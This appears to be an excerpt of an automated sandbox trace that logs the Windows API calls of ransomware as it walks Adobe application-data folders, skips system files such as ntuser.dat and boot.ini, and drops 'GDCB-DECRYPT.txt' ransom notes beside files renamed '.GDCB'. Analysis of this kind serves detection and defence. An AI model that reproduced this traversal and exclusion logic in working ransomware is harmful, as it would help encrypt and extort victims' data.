(lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB", lpString2=".") returned 1 [0135.440] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB", lpString2="..") returned 1 [0135.440] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" [0135.440] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned 168 [0135.440] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.440] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.440] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.440] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.440] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\GDCB-DECRYPT.txt") returned 80 [0135.440] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.442] GetLastError () returned 0x50 [0135.442] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.442] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned 63 [0135.442] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*" [0135.443] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.443] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.443] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.443] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.443] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.443] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.443] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.443] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.443] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt" [0135.443] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.443] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0135.443] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0135.443] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0135.443] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.444] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.444] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.444] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.444] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB", lpString2=".") returned 1 [0135.444] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB", lpString2="..") returned 1 [0135.444] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" [0135.444] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.444] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned 168 [0135.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned 168 [0135.444] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.444] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.444] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB", lpString2=".") returned 1 [0135.444] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB", lpString2="..") returned 1 [0135.444] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" [0135.444] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.444] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned 168 [0135.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned 168 [0135.444] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.445] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.445] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.445] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.445] lstrcmpW (lpString1="LogTransport2.cfg.GDCB", lpString2=".") returned 1 [0135.445] lstrcmpW (lpString1="LogTransport2.cfg.GDCB", lpString2="..") returned 1 [0135.445] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB" [0135.445] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.445] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned 80 [0135.445] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned 80 [0135.445] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.445] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.445] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.445] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.445] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1 [0135.446] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1 [0135.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0135.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\" [0135.446] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.446] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.446] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned 50 [0135.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*" [0135.446] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.447] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.447] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.447] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.447] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.447] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.447] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.447] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.447] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt" [0135.447] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0135.447] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.447] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.447] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1 [0135.447] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1 [0135.447] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0135.447] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned 58 [0135.447] lstrcmpW (lpString1=".0", lpString2=".sql") returned -1 [0135.447] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.447] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.447] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.447] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\GDCB-DECRYPT.txt") returned 67 [0135.447] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.448] GetLastError () returned 0x50 [0135.448] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.448] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned 50 [0135.448] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*" [0135.448] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.448] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.448] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.448] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.448] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.448] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.448] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.448] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.448] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt" [0135.448] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.448] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0135.448] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0135.448] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0135.448] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0135.448] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.448] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.449] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.449] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.449] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.449] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1 [0135.449] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1 [0135.449] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0135.449] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\" [0135.449] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.449] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.449] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.449] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.449] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.449] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.449] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned 59 [0135.449] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*" [0135.449] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7ac0 [0135.449] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.449] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.449] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.450] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.450] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.450] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.450] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.450] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt" [0135.450] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0135.450] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.450] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.450] lstrcmpW (lpString1="sonar_policy.xml.GDCB", lpString2=".") returned 1 [0135.450] lstrcmpW (lpString1="sonar_policy.xml.GDCB", lpString2="..") returned 1 [0135.450] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB" [0135.450] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned 80 [0135.450] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.450] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.450] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.450] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.450] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\GDCB-DECRYPT.txt") returned 76 [0135.450] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.450] GetLastError () returned 0x50 [0135.450] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.450] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned 59 [0135.450] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") 